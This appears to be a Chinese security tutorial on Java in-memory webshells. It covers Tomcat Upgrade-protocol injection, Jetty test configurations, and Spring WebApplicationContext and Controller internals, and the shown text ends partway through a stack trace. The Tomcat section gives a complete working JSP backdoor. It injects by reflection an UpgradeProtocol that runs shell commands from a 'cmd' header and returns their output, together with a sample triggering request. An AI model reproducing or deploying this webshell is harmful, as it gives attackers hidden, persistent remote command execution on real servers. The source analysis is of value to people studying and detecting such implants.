runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

org.apache.coyote.http11.Http11Processor#service 函数中针对请求头包含 Upgrade 字段的情况有如下判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 是否请求了 HTTP/1.1 协议升级?
// 规范要求:客户端必须在 Connection 头里带上 "Upgrade" 标记,才允许走 Upgrade 流程。
if (isConnectionToken(request.getMimeHeaders(), "upgrade")) {

// 读取目标协议名(例如 "websocket"、"h2c"、"h2" 等),来自 Upgrade 头。
String requestedProtocol = request.getHeader("Upgrade");

// 按协议名在当前连接器/协议处理器中查找对应的升级实现。
// 没有匹配实现就不支持升级(保持普通 HTTP/1.1 处理)。
UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol);
if (upgradeProtocol != null) {

// 由具体的 UpgradeProtocol 再做一次校验:
// 检查方法/必需首部/版本等前置条件是否满足(不满足则不升级)。
if (upgradeProtocol.accept(request)) {

// 条件满足,进入升级流程:
// [...]
}
}
}

其中 isConnectionToken 函数会判断请求头中的 Connection 字段中是否包含 Upgrade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 判断 HTTP/1.1 的 Connection 头里是否包含指定的“连接选项”标记(如 "close"、"keep-alive"、"upgrade" 等)。
*
* 说明:
* - Connection 头可能出现多次,且每个值里可以用逗号分隔多个标记;本方法会把所有同名头的标记合并后再判断。
* - 解析由 TokenList 完成;遇到格式错误可能抛 IOException。
* - 实际比较通常大小写不敏感(TokenList 会做规范化),稳妥起见传入的小写 token 更安全,例如 "close"。
*
* @param headers 当前请求/响应的头集合
* @param token 要检查的标记(建议小写,例如 "close")
* @return 存在则返回 true;不存在或没有 Connection 头返回 false
* @throws IOException 解析头部过程中出现语法错误时抛出
*/
private static boolean isConnectionToken(MimeHeaders headers, String token) throws IOException {
// 快速路径:如果根本没有 Connection 头,直接返回 false,避免后续解析开销
MessageBytes connection = headers.getValue(Constants.CONNECTION);
if (connection == null) {
return false;
}

// 用于收集解析出的所有标记;Set 去重,也便于后面 contains 判断
Set<String> tokens = new HashSet<>();

// 从“所有” Connection 头的值里解析逗号分隔的标记列表,填充到 tokens
// 例如:Connection: keep-alive, Upgrade
// Connection: close
// 最终 tokens 里会包含 {"keep-alive","upgrade","close"}(实际大小写由解析器规范化)
TokenList.parseTokenList(headers.values(Constants.CONNECTION), tokens);

// 判断是否包含目标标记(建议传入小写以匹配解析后的规范化结果)
return tokens.contains(token);
}

如果 Connection 字段的值中存在 Upgrade 则调用 org.apache.coyote.http11.AbstractHttp11Protocol#getUpgradeProtocol 根据请求头中 Upgrade 字段的值寻找对应的 org.apache.coyote.UpgradeProtocol。这里实际上是从 httpUpgradeProtocols 字段中根据协议名查找的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* 通过 HTTP Upgrade 机制由 Tomcat 内置支持的协议表。
*
* key:协议名(来自请求头 Upgrade,例如 "websocket"、"h2c" 等)
* value:对应的 UpgradeProtocol 实现(处理具体的协议切换与后续通信)。
*
* 说明:该 Map 一般在初始化阶段填充,运行期只读访问,因此使用 HashMap 即可;
* 若需要运行期动态注册/移除协议,应在外层做好并发控制。
*/
private final Map<String, UpgradeProtocol> httpUpgradeProtocols = new HashMap<>();

/**
* 按协议名查找已注册的 UpgradeProtocol。
*
* @param upgradedName Upgrade 请求头中的协议名
* @return 匹配的 UpgradeProtocol;未注册则返回 null
*/
public UpgradeProtocol getUpgradeProtocol(String upgradedName) {
return httpUpgradeProtocols.get(upgradedName);
}

然后在 Http11Processor#service 函数中会调用 UpgradeProtocolaccept 方法。

1
2
3
4
5
UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol);
if (upgradeProtocol != null) {

if (upgradeProtocol.accept(request)) {
// [...]

因此我们只要能够在 AbstractHttp11Protocol#httpUpgradeProtocols 中注册 UpgradeProtocol 对象并实现 service 方法,就可以实现内存马的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("p4d0rn", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);

提示

搜索 httpUpgradeProtocols 的相关引用我们发现 AbstractHttp11Protocol#init 会初始化 httpUpgradeProtocols,因此可以确定 httpUpgradeProtocols 是在 Tomcat 启动时被实例化的。因此我们在注册的时候不需要考虑初始化 httpUpgradeProtocols

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 初始化协议处理器。
*
* 关键点:
* 1) 先配置“可升级协议”(HTTP Upgrade / ALPN 相关),
* 再调用父类 init 去初始化端点(Endpoint)。
* 原因:Endpoint 初始化时会根据已注册的升级协议去
* 生成/公布可协商的协议列表(例如 TLS/ALPN 要广告出去的列表)。
*/
public void init() throws Exception {
// 1) 先处理所有可升级协议
// (例如 HTTP/2、WebSocket 等,它们实现了 UpgradeProtocol 接口)
// 注意这里的顺序很重要:Endpoint 的 init(在 super.init() 里)会用到
// 这些已登记的协议去配置 ALPN 广告列表。
for (UpgradeProtocol upgradeProtocol : upgradeProtocols) {
configureUpgradeProtocol(upgradeProtocol);
}

// [...]
}

/**
* 将单个 UpgradeProtocol 按不同通道方式登记到相应的表中。
* 本段只展示了“HTTP Upgrade”通道(明文/加密皆可用:如 websocket、h2c/h2)。
*/
private void configureUpgradeProtocol(UpgradeProtocol upgradeProtocol) {
// —— HTTP Upgrade 路径 ——
// 根据当前端点是否启用 SSL,拿到该协议的 Upgrade 名字。
// 典型:明文时可能返回 "h2c";TLS 时返回 "h2";WebSocket 返回 "websocket"。
String httpUpgradeName = upgradeProtocol.getHttpUpgradeName(getEndpoint().isSSLEnabled());
boolean httpUpgradeConfigured = false;

// 如果该协议声明了可通过 HTTP/1.1 Upgrade 头触发的名字,则登记到映射表:
// httpUpgradeProtocols.put(协议名, 协议实现)
// 这样在解析到 Connection: upgrade / Upgrade: <name> 时,就能按名匹配到对应的实现。
if (httpUpgradeName != null && httpUpgradeName.length() > 0) {
httpUpgradeProtocols.put(httpUpgradeName, upgradeProtocol);
httpUpgradeConfigured = true;

// 记录一条日志,便于诊断:哪个连接器(getName)配置了哪个 Upgrade 名称
getLog().info(sm.getString("abstractHttp11Protocol.httpUpgradeConfigured",
getName(), httpUpgradeName));
}

// [...]
}

并且相较于 Executor 型内存马,Upgrade 型内存马的回调函数 accept 的参数类型是 org.apache.coyote.Request,刚好能通过反射获取到 Response 对象,因此更加通用和稳定。

1
2
3
4
5
6
7
8
9
10
11
12
13
public boolean accept(org.apache.coyote.Request request) {
System.out.println("MyUpgrade.accept");
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception e){}
return false;
}

访问时请求头需要满足:

  • Connection 的值包含 Upgrade
  • Upgrade 的值为内存马的名称
  • cmd 的值为要执行的命令
1
2
3
4
5
6
GET / HTTP/1.1
Connection: Upgrade
Upgrade: shell
cmd: whoami


完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "shell";
}

public byte[] getAlpnIdentifier() {
return new byte[0];
}

public String getAlpnName() {
return null;
}

public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}

public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
return null;
}

@Override
public boolean accept(org.apache.coyote.Request request) {
System.out.println("MyUpgrade.accept");
String p = request.getHeader("cmd");
System.out.println(p);
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
InputStream in = new ProcessBuilder(cmd).start().getInputStream();
BufferedReader stdInput = new BufferedReader(new InputStreamReader(in));
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
resp.setHeader("Result", s);
} catch (Exception e){
System.out.println(e);
}
return false;
}

}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("shell", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>

Jetty 内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!-- ====== Tomcat 10.1 预设(只改 container.version)====== -->
<properties>
<container.id>tomcat10x</container.id>
<container.version>10.1.24</container.version> <!-- ★只改这一行 -->
<container.homeName>apache-tomcat-${container.version}</container.homeName>
<container.zipUrl>https://archive.apache.org/dist/tomcat/tomcat-10/v${container.version}/bin/apache-tomcat-${container.version}.zip</container.zipUrl>

<jsp.group>org.apache.tomcat</jsp.group>
<jsp.artifact>tomcat-jasper</jsp.artifact>
<jsp.version>${container.version}</jsp.version>

<el.group>org.apache.tomcat.embed</el.group>
<el.artifact>tomcat-embed-el</el.artifact>
<el.version>${container.version}</el.version>

<!-- Servlet 6(jakarta) -->
<servlet.group>jakarta.servlet</servlet.group>
<servlet.artifact>jakarta.servlet-api</servlet.artifact>
<servlet.version>6.0.0</servlet.version>
</properties>

<!-- ====== Jetty 10 预设(只改 container.version)====== -->
<properties>
<container.id>jetty10x</container.id>
<container.version>10.0.18</container.version> <!-- ★只改这一行 -->
<container.homeName>jetty-home-${container.version}</container.homeName>
<container.zipUrl>https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/${container.version}/jetty-home-${container.version}.zip</container.zipUrl>

<!-- Jetty 的 JSP 集成 -->
<jsp.group>org.eclipse.jetty</jsp.group>
<jsp.artifact>apache-jsp</jsp.artifact>
<jsp.version>${container.version}</jsp.version>

<!-- EL / Servlet 走 javax 系列 -->
<el.group>javax.el</el.group>
<el.artifact>javax.el-api</el.artifact>
<el.version>3.0.0</el.version>

<servlet.group>javax.servlet</servlet.group>
<servlet.artifact>javax.servlet-api</servlet.artifact>
<servlet.version>4.0.1</servlet.version>
</properties>

<!-- ====== Jetty 11 预设(只改 container.version)====== -->
<properties>
<container.id>jetty11x</container.id>
<container.version>11.0.24</container.version> <!-- ★只改这一行 -->
<container.homeName>jetty-home-${container.version}</container.homeName>
<container.zipUrl>https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/${container.version}/jetty-home-${container.version}.zip</container.zipUrl>

<jsp.group>org.eclipse.jetty</jsp.group>
<jsp.artifact>apache-jsp</jsp.artifact>
<jsp.version>${container.version}</jsp.version>

<!-- EL / Servlet 走 jakarta 系列 -->
<el.group>jakarta.el</el.group>
<el.artifact>jakarta.el-api</el.artifact>
<el.version>5.0.0</el.version>

<servlet.group>jakarta.servlet</servlet.group>
<servlet.artifact>jakarta.servlet-api</servlet.artifact>
<servlet.version>5.0.0</servlet.version>
</properties>

框架类

Spring 内存马

WebApplicationContext

对于内存马的注入,最重要的事情就是获取上下文,在 Tomcat 中获取说的上下文为 StandardContext,对于 Spring 获取的就是 WebApplicationContext

什么是 WebApplicationContext

WebApplicationContextSpring 专门用于 Web 环境(如 Servlet 环境) 的 IoC 容器接口,你可以理解成 “Web 版的 ApplicationContext”

WebApplicationContext 中,不仅能像普通的 Spring 容器一样管理和获取 Bean,还能够访问 ServletContext、支持 Web 特有的作用域(例如 requestsessionapplication),以及处理主题(ThemeSource)等一系列专属于 Web 环境的功能。

在传统的 Spring MVC(非 Spring Boot)应用里,WebApplicationContext 通常会被划分为 两层

  • Root WebApplicationContext(父容器)ContextLoaderListener 在应用启动时创建(默认读取 /WEB-INF/applicationContext.xml)。放通用基础设施DataSourceTxManagerServiceRepository、工具类等。

  • Child WebApplicationContext(子容器)每个 DispatcherServlet 启动时各自创建一个子容器(默认读取 /WEB-INF/<servlet-name>-servlet.xml)。放Web 层@ControllerHandlerMapping/Adapter、视图解析器、MessageConverter 等。

Root WebApplicationContext

ContextLoaderListener应用启动时创建全局唯一的 Root WebApplicationContext(父容器),并把它放进 ServletContext 里,供后续所有 DispatcherServlet 作为“父亲”。

我们可以在 web.xml告诉 Spring 去哪里加载全局配置,以及注册一个监听器在应用启动时创建“全局(Root)容器”

1
2
3
4
5
6
7
8
9
10
<!-- 告诉 Root 容器去哪个配置文件加载 bean -->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<!-- 创建 Root WebApplicationContext 的监听器 -->
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
  • 如果不写 contextConfigLocation,Spring 会自动找 /WEB-INF/applicationContext.xml。所以很多项目直接省略 <context-param>,只留 ContextLoaderListener

  • applicationContext.xml 通常放“非 Web 层”的东西:数据库、事务、Service、DAO、通用工具等。

Child WebApplicationContext

DispatcherServlet真正接收 HTTP 请求的 Servlet(继承 HttpServlet),负责分发到对应的 Controller
一个 DispatcherServlet 都会新建一个 Child WebApplicationContext(子容器),它的父亲就是上面的 Root 容器。

web.xml 里可以把 Spring MVC 的核心前端控制器 DispatcherServlet 配起来,并把它映射到哪些 URL 要交给它处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<!-- 别忘了 URL 映射(示例:拦所有) -->
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
  • 如果**不写 contextConfigLocation**,Spring 会找
    /WEB-INF/<servlet-name>-servlet.xml。上面 <servlet-name>dispatcherServlet,所以默认就是 /WEB-INF/dispatcherServlet-servlet.xml
  • dispatcherServlet-servlet.xml 通常放“Web 层”的东西:component-scan@ControllerRequestMappingHandlerMapping/Adapter、视图解析器、消息转换器等。

获取 WebApplicationContext

下面展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 Child WebApplicationContext

这是因为:根据习惯,在很多应用配置中注册 Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。

这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些 Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到 Root WebApplicationContext 的。

ContextLoader

直接通过 ContextLoader 获取,获取到当前 ContextLoader 创建的 WebApplicationContext(一般 ContextLoader 会被 ban)

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils

该工具类的 getWebApplicationContext 方法也是获取到 ContextLoaderListener 所创建的 ROOT WebApplicationContext

1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

需要注意的是,在 spring 5 之后的的 WebApplicationContextUtils 已经没有 getWebApplicationContext 方法。

RequestContextUtils

通过 RequestContextHolder 获取 request,然后获取 servletRequest 后通过 RequestContextUtils 获取 ROOT WebApplicationContext

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute

RequestContextHolder 方法直接从键值 org.springframework.web.servlet.DispatcherServlet.CONTEXT 中获取 Context 即可。

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
反射获取(仅适用于Springboot环境)

Springboot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象,这个类是 Springboot 里的类,所以这种方法仅适用于 Springboot。

applicationContexts 属性定义如下所示:

1
private static final Set<ConfigurableApplicationContext> applicationContexts = new LinkedHashSet();

因为使用了 private static final 修饰符,所以可以直接反射获取属性值。示例代码如下:

1
2
3
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

Controller 内存马

Spring 中的 Controller 是一种负责接收用户请求,调用相应的业务逻辑(Service 层),并返回数据或视图的组件,属于 MVC(Model-View-Controller)架构的核心组成部分。

简单说,Controller 本质上就是一个封装了复杂逻辑、使用更简单、更高级抽象的 Servlet。它具有如下功能:

  • Controller 决定一个请求 URL 应该由哪个方法处理。
  • Controller 将用户请求转为 Java 对象。
  • Controller 调用业务逻辑(Service)处理数据。
  • Controller 决定响应(返回视图页面或 JSON/XML 数据)。

因此如果我们能够像注册 Servlet 那样动态注册一个恶意 Controller,那么同样可以实现内存马功能。

源码分析

Controller 派发流程

org.springframework.web.servlet.DispatcherServlet#doDispatch 到我们注册的 Controller 的处理函数之间有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
at com.example.HelloController.hello(HelloController.java:12)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1072)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965)

doDispatch 方法中,首先通过 getHandler 方法,获取到对应的Handler,然后再调用 getHandlerAdapter 方法获取到对应的适配器,最后去调用 ha.handler

在 Spring MVC 的 DispatcherServlet 的核心方法 doDispatch 中:

  1. 通过调用 getHandler(request) 方法,根据请求的 URL、HTTP方法等信息,找到对应的处理器(Handler)

    • 处理器一般是具体的 Controller 方法。
  2. 拿到 Handler 后,Spring 调用 getHandlerAdapter(handler) 方法,根据当前 Handler 的类型,找到一个合适的处理器适配器(HandlerAdapter)

    • HandlerAdapter 统一了调用不同类型处理器的接口。
    • 常见适配器如:RequestMappingHandlerAdapter 用于调用 @RequestMapping 标注的方法。
  3. 最终,通过调用 ha.handle(request, response, handler) 方法,由适配器完成对具体 Handler 方法的调用。

    • 适配器负责参数绑定、方法调用、返回值处理等逻辑。
    • Controller 方法的执行结果一般封装成 ModelAndView 或直接写回响应。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 为当前请求解析并定位处理器(通常是某个 @Controller/@RequestMapping 方法)
mappedHandler = getHandler(processedRequest);
if (mappedHandler == null) {
// 没有匹配到任何处理器:按 Spring 策略返回 404/抛出异常等
noHandlerFound(processedRequest, response);
return;
}

// 基于已定位到的处理器,选择合适的 HandlerAdapter(统一的调用适配层)
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

// 若处理器支持“最后修改时间”语义,则尝试处理 HTTP 缓存相关逻辑(Last-Modified / If-Modified-Since)
String method = request.getMethod();
boolean isGet = HttpMethod.GET.matches(method);
if (isGet || HttpMethod.HEAD.matches(method)) {
// 向处理器查询资源的 lastModified 值(-1 表示不支持)
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
// 根据请求头判断资源是否未修改:若未修改,会设置 304 Not Modified 等相关响应头
// 仅在 GET 场景下提前返回;HEAD 场景下通常继续后续流程以补全响应头
if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
return;
}
}

// 执行 HandlerInterceptor 的 preHandle 链;若有拦截器返回 false,则中止后续处理(拦截器可能已写入响应)
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}

// 实际调用目标处理器(Controller 方法),返回 ModelAndView(REST 场景下可能为 null,直接写入响应体)
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

getHandler 方法中,会寻找我们访问路径所对应的 HandlerMapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 为当前请求返回一个 HandlerExecutionChain(包含“处理器 + 拦截器链”)。
* 按已注册的 HandlerMapping 顺序依次尝试,命中第一个即可返回;
* 如果没有任何 HandlerMapping 能处理该请求,则返回 null。
*/
@Nullable
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
// 按顺序遍历所有 HandlerMapping(顺序由 Ordered/Order 决定,已在初始化阶段排好)
for (HandlerMapping mapping : this.handlerMappings) {
// 让每个 HandlerMapping 尝试基于当前请求解析出“处理器执行链”
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
// 命中:返回“处理器 +(零个或多个)HandlerInterceptor”组合
return handler;
}
}
}
// 所有 HandlerMapping 都无法匹配该请求(后续 doDispatch 会走 noHandlerFound -> 一般是 404)
return null;
}

其中 HandlerMappings 中存在多个 HandlerMapping,通过迭代器进行遍历,找到匹配的 HandlerMapping

1
2
3
4
5
6
7
this.handlerMappings = {ArrayList@5832}  size = 6
0 = {RequestMappingHandlerMapping@5851}
1 = {WelcomePageHandlerMapping@5852}
2 = {BeanNameUrlHandlerMapping@5853}
3 = {RouterFunctionMapping@5854}
4 = {WelcomePageNotAcceptableHandlerMapping@5855}
5 = {SimpleUrlHandlerMapping@5856}

getHandler 函数之后有如下调用栈:

1
2
3
4
5
6
7
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.lookupHandlerMethod(AbstractHandlerMethodMapping.java:402)
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.getHandlerInternal(AbstractHandlerMethodMapping.java:383)
at org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping.getHandlerInternal(RequestMappingInfoHandlerMapping.java:125)
at org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping.getHandlerInternal(RequestMappingInfoHandlerMapping.java:67)
at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandler(AbstractHandlerMapping.java:498)
at org.springframework.web.servlet.DispatcherServlet.getHandler(DispatcherServlet.java:1266)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1048)

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal 方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 为给定请求查找并返回一个 HandlerMethod(控制器方法)。
*/
@Override
@Nullable
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
// 1) 计算用于匹配映射的“查找路径”(去掉contextPath、前缀等,必要时解码/规范化)
String lookupPath = initLookupPath(request);

// 2) 读锁:保证在映射表(mappingRegistry)可能被写入/刷新时,这里读取是线程安全的
this.mappingRegistry.acquireReadLock();
try {
// 3) 真正的匹配逻辑:从注册的 RequestMappingInfo -> HandlerMethod 映射里
// 找到与 lookupPath(以及HTTP方法、参数、Header、Consumes/Produces等条件)最匹配的那个
HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);

// 4) 若找到,基于“已解析的Bean”重新创建一个 HandlerMethod(将beanName解析成真实bean实例,处理代理等)
return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
}
finally {
// 5) 释放读锁
this.mappingRegistry.releaseReadLock();
}
}

其中 mappingRegistry 中就存储着我们的路由信息。这里首先对 mappingRegistry 进行上锁,最后在 finally 块中进行解锁。

1
2
3
4
5
6
7
8
9
10
11
12
this.mappingRegistry = {AbstractHandlerMethodMapping$MappingRegistry@5936} 
registry = {HashMap@5961} size = 3
{RequestMappingInfo@5985} "{ [/error], produces [text/html]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5986}
{RequestMappingInfo@5987} "{ [/error]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5988}
{RequestMappingInfo@5989} "{GET [/hello]}" -> {AbstractHandlerMethodMapping$MappingRegistration@5990}
pathLookup = {LinkedMultiValueMap@5962} size = 2
"/hello" -> {ArrayList@5977} size = 1
"/error" -> {ArrayList@5979} size = 2
nameLookup = {ConcurrentHashMap@5963} size = 3
corsLookup = {ConcurrentHashMap@5964} size = 0
readWriteLock = {ReentrantReadWriteLock@5965} "java.util.concurrent.locks.ReentrantReadWriteLock@54fd94a0[Write locks = 0, Read locks = 0]"
this$0 = {RequestMappingHandlerMapping@5851}

lookupHandlerMethod 方法根据我们访问的路径,调用 mappingRegistry.getMappingsByDirectPath 获取到了对应的路由。这里实际上就是从 mappingRegistrypathLookup 中查找的。

1
2
3
4
5
6
7
8
9
public List<T> getMappingsByDirectPath(String urlPath) {
return this.pathLookup.get(urlPath);
}

protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
List<Match> matches = new ArrayList<>();
List<T> directPathMatches = this.mappingRegistry.getMappingsByDirectPath(lookupPath);
// [...]
}

也就是说,我们只需要向 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#mappingRegistry 中添加恶意 Controller 的路由信息,就可以达到注入内存马的效果。

Controller 注册流程

Spring 项目启动时会调用 AbstractHandlerMethodMapping#registerHandlerMethod 将我们的 Controller 注册到 mappingRegistry 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
at org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry.register(AbstractHandlerMethodMapping.java:632)
